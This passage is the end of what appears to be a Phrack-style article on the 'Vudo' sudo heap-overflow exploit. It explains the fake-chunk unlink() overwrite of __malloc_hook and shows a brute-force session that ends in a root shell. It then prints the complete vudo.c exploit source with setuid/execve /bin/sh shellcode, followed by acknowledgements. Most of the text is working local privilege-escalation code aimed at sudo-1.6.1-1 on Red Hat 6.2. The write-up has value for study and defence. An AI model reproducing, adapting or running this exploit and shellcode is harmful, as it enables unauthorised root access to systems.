In order to allocate the 192 bytes buffer, the step[1.2] of the malloc(3) algorithm was carried out, and an imaginary chunk of memory, pointed to by the corrupted bk field, stored in the very middle of the copy of the SHELL environment variable, was processed. But since this fake chunk was too small (indeed, its size field is equal to 0xbfffff1e, a negative integer), its bk field (equal to 0xbfffff1e) was followed, to another fake chunk of memory stored on the stack, whose size is exactly 200 (request2size(192)) bytes.

This fake chunk was therefore taken off its imaginary doubly-linked list, allowing the attacker to apply the unlink() technique described in 3.6.1 and to overwrite the __malloc_hook debugging hook with the address of a special shellcode stored somewhere in the heap (in order to bypass the Linux kernel patch from the Openwall Project).

This shellcode was subsequently executed, at the beginning of the last call to malloc(3), since the corrupted __malloc_hook debugging hook was read and executed.

4.2 - The practice

In order to successfully gain root privileges via the Vudo exploit, a user does not necessarily need to be present in the sudoers file, but has to know their user password. They need additionally to provide three command line arguments:

A typical Vudo cult^H^H^H^Hsession starts with an authentication step, a __malloc_hook computation step, and eventually a brute force step, based on the tz and envp examples provided by the Vudo usage message (fortunately the user does not need to provide their password each time Sudo is executed during the brute force step because they authenticated right before):

$ /usr/bin/sudo www.MasterSecuritY.fr
Password:
maxx is not in the sudoers file.  This incident will be reported.

$ LD_TRACE_LOADED_OBJECTS=1 /usr/bin/sudo | grep /lib/libc.so.6
        libc.so.6 => /lib/libc.so.6 (0x00161000)
$ nm /lib/libc.so.6 | grep __malloc_hook
000ef1dc W __malloc_hook
$ perl -e 'printf "0x%08x\n", 0x00161000 + 0x000ef1dc'
0x002501dc

$ for tz in `seq 62587 8 65531`
do
for envp in `seq 6862 2 6874`
do
./vudo 0x002501dc $tz $envp
done
done
maxx is not in the sudoers file.  This incident will be reported.
maxx is not in the sudoers file.  This incident will be reported.
maxx is not in the sudoers file.  This incident will be reported.
maxx is not in the sudoers file.  This incident will be reported.
maxx is not in the sudoers file.  This incident will be reported.
maxx is not in the sudoers file.  This incident will be reported.
maxx is not in the sudoers file.  This incident will be reported.
maxx is not in the sudoers file.  This incident will be reported.
maxx is not in the sudoers file.  This incident will be reported.
maxx is not in the sudoers file.  This incident will be reported.
bash#
<++> vudo.c !32ad14e5
/*
 * vudo.c versus Red Hat Linux/Intel 6.2 (Zoot) sudo-1.6.1-1
 * Copyright (C) 2001 Michel "MaXX" Kaempf <maxx@synnergy.net>
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or (at
 * your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
 * General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
 * USA
 */

#include <limits.h>
#include <paths.h>
#include <pwd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>

typedef struct malloc_chunk {
    size_t prev_size;
    size_t size;
    struct malloc_chunk * fd;
    struct malloc_chunk * bk;
} * mchunkptr;

#define SIZE_SZ sizeof(size_t)
#define MALLOC_ALIGNMENT ( SIZE_SZ + SIZE_SZ )
#define MALLOC_ALIGN_MASK ( MALLOC_ALIGNMENT - 1 )
#define MINSIZE sizeof(struct malloc_chunk)

/* shellcode */
#define sc \
    /* jmp */ \
    "\xeb\x0appssssffff" \
    /* setuid */ \
    "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" \
    /* setgid */ \
    "\x31\xdb\x89\xd8\xb0\x2e\xcd\x80" \
    /* execve */ \
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
    "\x80\xe8\xdc\xff\xff\xff/bin/sh"

#define MAX_UID_T_LEN 10
#define MAXSYSLOGLEN 960
#define IFCONF_BUF r2s( 8200 )
#define SUDOERS_FP r2s( 176 )
#define VASPRINTF r2s( 6300 )
#define VICTIM_SIZE r2s( 1500 )
#define SUDO "/usr/bin/sudo"
#define USER_CWD "/"
#define MESSAGE 19 /* "command not allowed" or "user NOT in sudoers" */
#define USER_ARGS ( VASPRINTF-VICTIM_SIZE-SIZE_SZ - 1 - (MAXSYSLOGLEN+1) )
#define PREV_SIZE 0x5858614d
#define SIZE r2s( 192 )
#define SPACESPACE 0x08072020
#define POST_PS1 ( r2s(16) + r2s(640) + r2s(400) )
#define BK ( SPACESPACE - POST_PS1 + SIZE_SZ - sizeof(sc) )
#define STACK ( 0xc0000000 - 4 )
#define PRE_SHELL "SHELL="
#define MAXPATHLEN 4095
#define SHELL ( MAXPATHLEN - 1 )
#define PRE_SUDO_PS1 "SUDO_PS1="
#define PRE_TZ "TZ="
#define LIBC "/lib/libc.so.6"
#define TZ_FIRST ( MINSIZE - SIZE_SZ - 1 )
#define TZ_STEP ( MALLOC_ALIGNMENT / sizeof(char) )
#define TZ_LAST ( 0x10000 - SIZE_SZ - 1 )
#define POST_IFCONF_BUF (r2s(1600)+r2s(40)+r2s(16386)+r2s(3100)+r2s(6300))
#define ENVP_FIRST ( ((POST_IFCONF_BUF - SIZE_SZ) / sizeof(char *)) - 1 )
#define ENVP_STEP ( MALLOC_ALIGNMENT / sizeof(char *) )

/* request2size() */
size_t
r2s( size_t request )
{
    size_t size;

    size = request + ( SIZE_SZ + MALLOC_ALIGN_MASK );
    if ( size < (MINSIZE + MALLOC_ALIGN_MASK) ) {
        size = MINSIZE;
    } else {
        size &= ~MALLOC_ALIGN_MASK;
    }
    return( size );
}

/* nul() */
int
nul( size_t size )
{
    char * p = (char *)( &size );

    if ( p[0] == '\0' || p[1] == '\0' || p[2] == '\0' || p[3] == '\0' ) {
        return( -1 );
    }
    return( 0 );
}

/* nul_or_space() */
int
nul_or_space( size_t size )
{
    char * p = (char *)( &size );

    if ( p[0] == '\0' || p[1] == '\0' || p[2] == '\0' || p[3] == '\0' ) {
        return( -1 );
    }
    if ( p[0] == ' ' || p[1] == ' ' || p[2] == ' ' || p[3] == ' ' ) {
        return( -1 );
    }
    return( 0 );
}

typedef struct vudo_s {
    /* command line */
    size_t __malloc_hook;
    size_t tz;
    size_t envp;

    size_t setenv;
    size_t msg;
    size_t buf;
    size_t NewArgv;

    /* execve */
    char ** execve_argv;
    char ** execve_envp;
} vudo_t;

/* vudo_setenv() */
size_t
vudo_setenv( uid_t uid )
{
    struct passwd * pw;
    size_t setenv;
    char idstr[ MAX_UID_T_LEN + 1 ];

    /* pw */
    pw = getpwuid( uid );
    if ( pw == NULL ) {
        return( 0 );
    }

    /* SUDO_COMMAND */
    setenv = r2s( 16 );

    /* SUDO_USER */
    setenv += r2s( strlen("SUDO_USER=") + strlen(pw->pw_name) + 1 );
    setenv += r2s( 16 );

    /* SUDO_UID */
    sprintf( idstr, "%ld", (long)(pw->pw_uid) );
    setenv += r2s( strlen("SUDO_UID=") + strlen(idstr) + 1 );
    setenv += r2s( 16 );

    /* SUDO_GID */
    sprintf( idstr, "%ld", (long)(pw->pw_gid) );
    setenv += r2s( strlen("SUDO_GID=") + strlen(idstr) + 1 );
    setenv += r2s( 16 );

    return( setenv );
}

/* vudo_msg() */
size_t
vudo_msg( vudo_t * p_v )
{
    size_t msg;

    msg = ( MAXSYSLOGLEN + 1 ) - strlen( "shell " ) + 3;
    msg *= sizeof(char *);
    msg += SIZE_SZ - IFCONF_BUF + p_v->setenv + SUDOERS_FP + VASPRINTF;
    msg /= sizeof(char *) + 1;

    return( msg );
}

/* vudo_buf() */
size_t
vudo_buf( vudo_t * p_v )
{
    size_t buf;

    buf = VASPRINTF - VICTIM_SIZE - p_v->msg;

    return( buf );
}

/* vudo_NewArgv() */
size_t
vudo_NewArgv( vudo_t * p_v )
{
    size_t NewArgv;

    NewArgv = IFCONF_BUF-VICTIM_SIZE-p_v->setenv-SUDOERS_FP-p_v->buf;

    return( NewArgv );
}

/* vudo_execve_argv() */
char **
vudo_execve_argv( vudo_t * p_v )
{
    size_t pudding;
    char ** execve_argv;
    char * p;
    char * user_tty;
    size_t size;
    char * user_runas;
    int i;
    char * user_args;

    /* pudding */
    pudding = ( (p_v->NewArgv - SIZE_SZ) / sizeof(char *) ) - 3;

    /* execve_argv */
    execve_argv = malloc( (4 + pudding + 2) * sizeof(char *) );
    if ( execve_argv == NULL ) {
        return( NULL );
    }

    /* execve_argv[ 0 ] */
    execve_argv[ 0 ] = SUDO;

    /* execve_argv[ 1 ] */
    execve_argv[ 1 ] = "-s";

    /* execve_argv[ 2 ] */
    execve_argv[ 2 ] = "-u";

    /* user_tty */
    if ( (p = ttyname(STDIN_FILENO)) || (p = ttyname(STDOUT_FILENO)) ) {
        if ( strncmp(p, _PATH_DEV, sizeof(_PATH_DEV) - 1) == 0 ) {
            p += sizeof(_PATH_DEV) - 1;
        }
        user_tty = p;
    } else {
        user_tty = "unknown";
    }

    /* user_cwd */
    if ( chdir(USER_CWD) == -1 ) {
        return( NULL );
    }

    /* user_runas */
    size = p_v->msg;
    size -= MESSAGE;
    size -= strlen( " ; TTY= ; PWD= ; USER= ; COMMAND=" );
    size -= strlen( user_tty );
    size -= strlen( USER_CWD );
    user_runas = malloc( size + 1 );
    if ( user_runas == NULL ) {
        return( NULL );
    }
    memset( user_runas, 'M', size );
    user_runas[ size ] = '\0';

    /* execve_argv[ 3 ] */
    execve_argv[ 3 ] = user_runas;

    /* execve_argv[ 4 ] .. execve_argv[ (4 + pudding) - 1 ] */
    for ( i = 4; i < 4 + pudding; i++ ) {
        execve_argv[ i ] = "";
    }

    /* user_args */
    user_args = malloc( USER_ARGS + 1 );
    if ( user_args == NULL ) {
        return( NULL );
    }
    memset( user_args, 'S', USER_ARGS );
    user_args[ USER_ARGS ] = '\0';

    /* execve_argv[ 4 + pudding ] */
    execve_argv[ 4 + pudding ] = user_args;

    /* execve_argv[ (4 + pudding) + 1 ] */
    execve_argv[ (4 + pudding) + 1 ] = NULL;

    return( execve_argv );
}

/* vudo_execve_envp() */
char **
vudo_execve_envp( vudo_t * p_v )
{
    size_t fd;
    char * chunk;
    size_t post_pudding;
    int i;
    size_t pudding;
    size_t size;
    char * post_chunk;
    size_t p_chunk;
    char * shell;
    char * p;
    char * sudo_ps1;
    char * tz;
    char ** execve_envp;
    size_t stack;

    /* fd */
    fd = p_v->__malloc_hook - ( SIZE_SZ + SIZE_SZ + sizeof(mchunkptr) );

    /* chunk */
    chunk = malloc( MINSIZE + 1 );
    if ( chunk == NULL ) {
        return( NULL );
    }
    ( (mchunkptr)chunk )->prev_size = PREV_SIZE;
    ( (mchunkptr)chunk )->size = SIZE;
    ( (mchunkptr)chunk )->fd = (mchunkptr)fd;
    ( (mchunkptr)chunk )->bk = (mchunkptr)BK;
    chunk[ MINSIZE ] = '\0';

    /* post_pudding */
    post_pudding = 0;
    for ( i = 0; i < MINSIZE + 1; i++ ) {
        if ( chunk[i] == '\0' ) {
            post_pudding += 1;
        }
    }

    /* pudding */
    pudding = p_v->envp - ( 3 + post_pudding + 2 );

    /* post_chunk */
    size = ( SIZE - 1 ) - 1;
    while ( nul(STACK - sizeof(SUDO) - (size + 1) - (MINSIZE + 1)) ) {
        size += 1;
    }
    post_chunk = malloc( size + 1 );
    if ( post_chunk == NULL ) {
        return( NULL );
    }
    memset( post_chunk, 'Y', size );
    post_chunk[ size ] = '\0';

    /* p_chunk */
    p_chunk = STACK - sizeof(SUDO) - (strlen(post_chunk)+1) - (MINSIZE+1);

    /* shell */
    shell = malloc( strlen(PRE_SHELL) + SHELL + 1 );
    if ( shell == NULL ) {
        return( NULL );
    }
    p = shell;
    memcpy( p, PRE_SHELL, strlen(PRE_SHELL) );
    p += strlen( PRE_SHELL );
    while ( p < shell + strlen(PRE_SHELL) + (SHELL & ~(SIZE_SZ-1)) ) {
        *((size_t *)p) = p_chunk;
        p += SIZE_SZ;
    }
    while ( p < shell + strlen(PRE_SHELL) + SHELL ) {
        *(p++) = '2';
    }
    *p = '\0';

    /* sudo_ps1 */
    size = p_v->buf;
    size -= POST_PS1 + VICTIM_SIZE;
    size -= strlen( "PS1=" ) + 1 + SIZE_SZ;
    sudo_ps1 = malloc( strlen(PRE_SUDO_PS1) + size + 1 );
    if ( sudo_ps1 == NULL ) {
        return( NULL );
    }
    memcpy( sudo_ps1, PRE_SUDO_PS1, strlen(PRE_SUDO_PS1) );
    memset( sudo_ps1 + strlen(PRE_SUDO_PS1), '0', size + 1 - sizeof(sc) );
    strcpy( sudo_ps1 + strlen(PRE_SUDO_PS1) + size + 1 - sizeof(sc), sc );

    /* tz */
    tz = malloc( strlen(PRE_TZ) + p_v->tz + 1 );
    if ( tz == NULL ) {
        return( NULL );
    }
    memcpy( tz, PRE_TZ, strlen(PRE_TZ) );
    memset( tz + strlen(PRE_TZ), '0', p_v->tz );
    tz[ strlen(PRE_TZ) + p_v->tz ] = '\0';

    /* execve_envp */
    execve_envp = malloc( p_v->envp * sizeof(char *) );
    if ( execve_envp == NULL ) {
        return( NULL );
    }

    /* execve_envp[ p_v->envp - 1 ] */
    execve_envp[ p_v->envp - 1 ] = NULL;

    /* execve_envp[3+pudding] .. execve_envp[(3+pudding+post_pudding)-1] */
    p = chunk;
    for ( i = 3 + pudding; i < 3 + pudding + post_pudding; i++ ) {
        execve_envp[ i ] = p;
        p += strlen( p ) + 1;
    }

    /* execve_envp[ 3 + pudding + post_pudding ] */
    execve_envp[ 3 + pudding + post_pudding ] = post_chunk;

    /* execve_envp[ 0 ] */
    execve_envp[ 0 ] = shell;

    /* execve_envp[ 1 ] */
    execve_envp[ 1 ] = sudo_ps1;

    /* execve_envp[ 2 ] */
    execve_envp[ 2 ] = tz;

    /* execve_envp[ 3 ] .. execve_envp[ (3 + pudding) - 1 ] */
    i = 3 + pudding;
    stack = p_chunk;
    while ( i-- > 3 ) {
        size = 0;
        while ( nul_or_space(stack - (size + 1)) ) {
            size += 1;
        }
        if ( size == 0 ) {
            execve_envp[ i ] = "";
        } else {
            execve_envp[ i ] = malloc( size + 1 );
            if ( execve_envp[i] == NULL ) {
                return( NULL );
            }
            memset( execve_envp[i], '1', size );
            ( execve_envp[ i ] )[ size ] = '\0';
        }
        stack -= size + 1;
    }

    return( execve_envp );
}

/* usage() */
void
usage( char * fn )
{
    printf(
        "%s versus Red Hat Linux/Intel 6.2 (Zoot) sudo-1.6.1-1\n",
        fn
    );
    printf(
        "Copyright (C) 2001 Michel \"MaXX\" Kaempf <maxx@synnergy.net>\n"
    );
    printf( "\n" );

    printf( "* Usage: %s __malloc_hook tz envp\n", fn );
    printf( "\n" );

    printf( "* Example: %s 0x002501dc 62595 6866\n", fn );
    printf( "\n" );

    printf( "* __malloc_hook:\n" );
    printf( "  $ LD_TRACE_LOADED_OBJECTS=1 %s | grep %s\n", SUDO, LIBC );
    printf( "  $ objdump --syms %s | grep __malloc_hook\n", LIBC );
    printf( "  $ nm %s | grep __malloc_hook\n", LIBC );
    printf( "\n" );

    printf( "* tz:\n" );
    printf( "  - first: %u\n", TZ_FIRST );
    printf( "  - step: %u\n", TZ_STEP );
    printf( "  - last: %u\n", TZ_LAST );
    printf( "\n" );

    printf( "* envp:\n" );
    printf( "  - first: %u\n", ENVP_FIRST );
    printf( "  - step: %u\n", ENVP_STEP );
}

/* main() */
int
main( int argc, char * argv[] )
{
    vudo_t vudo;

    /* argc */
    if ( argc != 4 ) {
        usage( argv[0] );
        return( -1 );
    }

    /* vudo.__malloc_hook */
    vudo.__malloc_hook = strtoul( argv[1], NULL, 0 );
    if ( vudo.__malloc_hook == ULONG_MAX ) {
        return( -1 );
    }

    /* vudo.tz */
    vudo.tz = strtoul( argv[2], NULL, 0 );
    if ( vudo.tz == ULONG_MAX ) {
        return( -1 );
    }

    /* vudo.envp */
    vudo.envp = strtoul( argv[3], NULL, 0 );
    if ( vudo.envp == ULONG_MAX ) {
        return( -1 );
    }

    /* vudo.setenv */
    vudo.setenv = vudo_setenv( getuid() );
    if ( vudo.setenv == 0 ) {
        return( -1 );
    }

    /* vudo.msg */
    vudo.msg = vudo_msg( &vudo );

    /* vudo.buf */
    vudo.buf = vudo_buf( &vudo );

    /* vudo.NewArgv */
    vudo.NewArgv = vudo_NewArgv( &vudo );

    /* vudo.execve_argv */
    vudo.execve_argv = vudo_execve_argv( &vudo );
    if ( vudo.execve_argv == NULL ) {
        return( -1 );
    }

    /* vudo.execve_envp */
    vudo.execve_envp = vudo_execve_envp( &vudo );
    if ( vudo.execve_envp == NULL ) {
        return( -1 );
    }

    /* execve */
    execve( (vudo.execve_argv)[0], vudo.execve_argv, vudo.execve_envp );
    return( -1 );
}
<-->

5 - Acknowledgements

Thanks to Todd Miller for the fascinating vulnerability, thanks to Chris Wilson for the vulnerability discovery, thanks to Doug Lea for the excellent allocator, and thanks to Solar Designer for the unlink() technique.

Thanks to Synnergy for the invaluable support, the various operating systems, and the great patience... thanks for everything. Thanks to VIA (and especially to BBP and Kaliban) and thanks to the eXperts group (and particularly to Fred and Nico) for the careful (painful? :) rereading.

Thanks to the antiSecurity movement (and peculiarly to JimJones and Portal) for the interesting discussions of disclosure issues. Thanks to MasterSecuritY since my brain worked unconsciously on the Sudo vulnerability during work time :)

Thanks to Phrack for the professional work, and greets to superluck ;)

6 - Outroduction

I stand up next to a mountain and chop it down with the edge of my hand.
-- Jimi Hendrix (Voodoo Chile (slight return))

The voodoo, who do, what you don't dare do people.
-- The Prodigy (Voodoo People)

I do Voodoo, but not on You
-- efnet.vuurwerk.nl